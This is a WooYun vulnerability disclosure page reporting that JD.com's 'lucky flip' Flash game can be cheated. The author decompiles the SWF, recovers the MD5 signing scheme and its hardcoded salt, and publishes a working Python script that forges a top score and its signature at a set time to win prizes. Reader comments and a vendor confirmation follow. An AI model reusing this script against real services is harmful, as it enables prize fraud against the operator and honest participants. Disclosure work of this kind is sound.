当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044366

漏洞标题:京东手机节幸运大翻转刷分(flash逆向分析)

相关厂商:京东商城

漏洞作者: cnrstar

提交时间:2013-11-29 10:32

修复时间:2014-01-13 10:33

公开时间:2014-01-13 10:33

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-29: 细节已通知厂商并且等待厂商处理中
2013-12-02: 厂商已经确认,细节仅向厂商公开
2013-12-12: 细节向核心白帽子及相关领域专家公开
2013-12-22: 细节向普通白帽子公开
2014-01-01: 细节向实习白帽子公开
2014-01-13: 细节向公众公开

简要描述:

京东的手机节有个幸运大翻转,玩游戏排名,每天第一MX2,总分第一诺基亚1520,貌似还是很不错的,但是每次排名的那些人都是990,表示手累断了也拿不到990分。

详细说明:

活动地址:http://sale.jd.com/act/rSR4ExMjOnyGwWmf.html?erpad_source=erpad
游戏的flash地址:http://mday.jd.com/play/fanpai.swf
游戏点击开始的数据包:

1.jpg


游戏结束时的数据包“

2.jpg


结束时的数据包里有我们的得分,直接修改这个参数会被警告,提示非法。
猜测后面的sign是一个合法性验证参数,很明显是32位的MD5 hash
现在刷分的关键就在于如何让我们的这个sign合法,由于这个游戏是swf,而且是本地玩的,那就说明这个sign在swf里有设定,然后服务端去验证这个sign是否合法。
逆一下这个swf后得到源码,搜索到如下sign的定义:

3.jpg


同样的可以得到刚开始玩游戏的sign算法,至此,我们只需伪造分数,然后伪造这个sign,就可以完成刷分了。

漏洞证明:

Python代码:

#-------------------------------------------------------------------------------
# Name:
# Purpose:
#
# Author: Rstar
#
# Created: 26/11/2013
# Copyright: (c) Rstar 2013
# Licence: <your licence>
#-------------------------------------------------------------------------------
import urllib2,httplib,md5,time,re
cookie = 'xxx' # Your Cookie
user = 'ssss' # your username
def getmd5(string):
result = md5.new(string)
return result.hexdigest()
def gettimestamp():
return time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
def getkey1(timestamp):
cmd = "10004"
linkworld = (((((((("cmd" + cmd) + "timestamp") + timestamp) + "userId") + user) + "ver") + "1.0") + "b14bda484ea4583");
return getmd5(linkworld)
def getkey2(name,score,timestamp):
cmd = "10001"
sign = (((((((((((("cmd" + cmd) + "name") + name) + "score") + score) + "timestamp") + timestamp) + "userId") + user) + "ver") + "1.0") +"b14bda484ea4583");
return getmd5(sign)
def httpreq1(url):
req = urllib2.Request(url)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1685.0 Safari/537.36')
req.add_header('Referer','http://mday.jd.com/index.action')
req.add_header('Cookie',cookie)
#opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(ckjar) )
#f = opener.open(req)
f = urllib2.urlopen(req)
htm = f.read()
return htm
f.close()
def main():
score = "990"
timestamp = gettimestamp()
while True:
if timestamp == "20131127235824":
url1 = "http://mday.jd.com/gw/userService.action?timestamp="+timestamp+"&cmd=10004&ver=1.0&userId="+user+"&sign="+getkey1(timestamp)
print url1
html1 = httpreq1(url1)
print html1
re_name = re.compile("<name>(.+?)</name")
name = re_name.findall(html1)[0]
print "Got Name:"+name+"\tNow Sleep 90s"
url2 = "http://mday.jd.com/gw/userService.action?timestamp="+timestamp+"&cmd=10001&ver=1.0&sign="+getkey2(name,score,timestamp)+"&score="+score+"&userId="+user+"&name="+name
print url2
print httpreq1(url2)
else:
time.sleep(0.2)
timestamp = gettimestamp()
if __name__ == '__main__':
main()


上面是定点刷,算好秒后,保证在晚上24:00达到最高分,然后去领奖

修复方案:

你们懂的
不过你们发奖品是怎么发的?那么多人都在刷分,怎么排名的,为啥最高都是990,不能是其他的分?我弄了两次发现没我啥事,球解答。

版权声明:转载请注明来源 cnrstar@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2013-12-02 12:10

厂商回复:

感谢您对京东的关注!

最新状态:

暂无


漏洞评价:

评论

  1. 2013-11-29 13:12 | qwerty ( 普通白帽子 | Rank:116 漏洞数:16 | 已注销)

    前排兜售EXP

  2. 2013-11-29 18:20 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    我觉得FLASH小游戏的这类问题,算不上设计缺陷或者逻辑错误。 基本上这类游戏都会对提交分数这一步上做一定的验证,以避免最简单的抓包重放提交分数的操作(京东这个也一样)。 而验证算法,在FLASH源码里肯定会出现,FLASH又可逆,所以这类游戏的刷分应该是防不了的。

  3. 2013-11-29 18:27 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    二哥来两发

  4. 2013-11-29 19:46 | tzrj ( 实习白帽子 | Rank:87 漏洞数:24 | 1111)

    @qwerty 求exp

  5. 2013-11-30 08:53 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    诶,23:59:59这一秒有40多人提交了990的分数,表示能刷也没用,也弄不到手机。而2000少100这种优惠券有需要手动领取,蛋疼。

  6. 2013-12-01 01:30 | qwerty ( 普通白帽子 | Rank:116 漏洞数:16 | 已注销)

    @tzrj exp其实也没啥用 网络延迟是硬伤

  7. 2013-12-02 15:20 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @gainover 业务处理了,奖品价值不高,后期数据处理后发放等

  8. 2013-12-02 16:26 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @小胖胖要减肥 啥意思?你搞到了?

  9. 2013-12-02 16:53 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @px1624 我的处理方案

  10. 2013-12-02 18:13 | cnrstar ( 普通白帽子 | Rank:157 漏洞数:23 | Be my personal best!)

    @小胖胖要减肥 京东工作人员?

  11. 2013-12-02 19:40 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @小胖胖要减肥 淫荡,竟然私下提交了。。

  12. 2013-12-02 21:12 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @cnrstar 其他电商的

  13. 2013-12-02 21:13 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @px1624 我是说只要我负责的活动 不会有这个问题,你刷的数据筛选就过不了

  14. 2013-12-03 08:21 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @小胖胖要减肥 嗯,是啊,我没刷到。就刷了两次,哈哈。不过这玩意1秒提交40多人,其实也和拼人品差不多